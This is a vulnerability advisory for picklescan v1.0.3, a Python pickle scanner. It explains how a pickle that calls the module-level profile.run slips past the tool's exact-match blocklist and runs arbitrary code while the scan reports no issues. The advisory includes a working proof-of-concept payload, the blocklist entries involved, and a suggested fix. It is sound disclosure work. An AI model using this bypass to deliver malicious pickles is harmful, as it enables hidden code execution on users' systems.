PT-2026-25443 · Pypi · Picklescan

Published

2026-03-03

·

Updated

2026-03-03

CVSS v3.1

9.8

Critical

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

picklescan v1.0.3 blocks profile.Profile.run and profile.Profile.runctx but does NOT block the module-level profile.run() function. A malicious pickle calling profile.run(statement) achieves arbitrary code execution via exec() while picklescan reports 0 issues. This is because the blocklist entry "Profile.run" does not match the pickle global name "run".

Severity

High — Direct code execution via exec() with zero scanner detection.

Affected Versions

  • picklescan v1.0.3 (latest — the profile entries were added in recent versions)
  • Earlier versions also affected (profile not blocked at all)

Details

Root Cause

In scanner.py line 199, the blocklist entry for profile is:
python
"profile": {"Profile.run", "Profile.runctx"},
When a pickle file imports profile.run (the module-level function), picklescan's opcode parser extracts:
  • module = "profile"
  • name = "run"
The blocklist check at line 414 is:
python
elif unsafe filter is not None and (unsafe filter == "*" or g.name in unsafe filter):
This checks: is "run" in {"Profile.run", "Profile.runctx"}?
Answer: NO. "run" != "Profile.run". The string comparison is exact — there is no prefix/suffix matching.

What profile.run() Does

python
# From Python's Lib/profile.py
def run(statement, filename=None, sort=-1):
  prof = Profile()
  try:
    prof.run(statement) # Calls exec(statement)
  except SystemExit:
    pass
  ...
profile.run(statement) calls exec(statement) internally, enabling arbitrary Python code execution.

Proof of Concept

python
import struct, io, pickle

def sbu(s):
  b = s.encode()
  return b"x8c" + struct.pack("<B", len(b)) + b

# profile.run("import os; os.system('id')")
payload = (
  b"x80x04x95" + struct.pack("<Q", 60)
  + sbu("profile") + sbu("run") + b"x93"
  + sbu("import os; os.system('id')")
  + b"x85" + b"R" + b"."
)

# picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"})
from picklescan.scanner import scan pickle bytes
result = scan pickle bytes(io.BytesIO(payload), "test.pkl")
assert result.issues count == 0 # CLEAN!

# Execute: runs exec("import os; os.system('id')") → RCE
pickle.loads(payload)

Comparison

Pickle GlobalBlocklist EntryMatch?Result
("profile", "run")"Profile.run"NO — "run" != "Profile.run"CLEAN (bypass!)
("profile", "Profile.run")"Profile.run"YESDETECTED
("profile", "runctx")"Profile.runctx"NO — "runctx" != "Profile.runctx"CLEAN (bypass!)
The pickle opcode GLOBAL / STACK GLOBAL resolves profile.run to the MODULE-LEVEL function, not the class method Profile.run. These are different Python objects but both execute arbitrary code.

Impact

profile.run() provides direct exec() execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because exec() can import any module and call any function, bypassing the blocklist entirely.

Suggested Fix

Change the profile blocklist entry from:
python
"profile": {"Profile.run", "Profile.runctx"},
to:
python
"profile": "*",
Or explicitly add the module-level functions:
python
"profile": {"Profile.run", "Profile.runctx", "run", "runctx"},

Resources

  • picklescan source: scanner.py line 199 ("profile": {"Profile.run", "Profile.runctx"})
  • picklescan source: scanner.py line 414 (exact string match logic)
  • Python source: Lib/profile.py run() function — calls exec()

Fix

Incomplete List of Disallowed Inputs

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-697CWE-184

Related Identifiers

GHSA-7WX9-6375-F5WH

Affected Products

Picklescan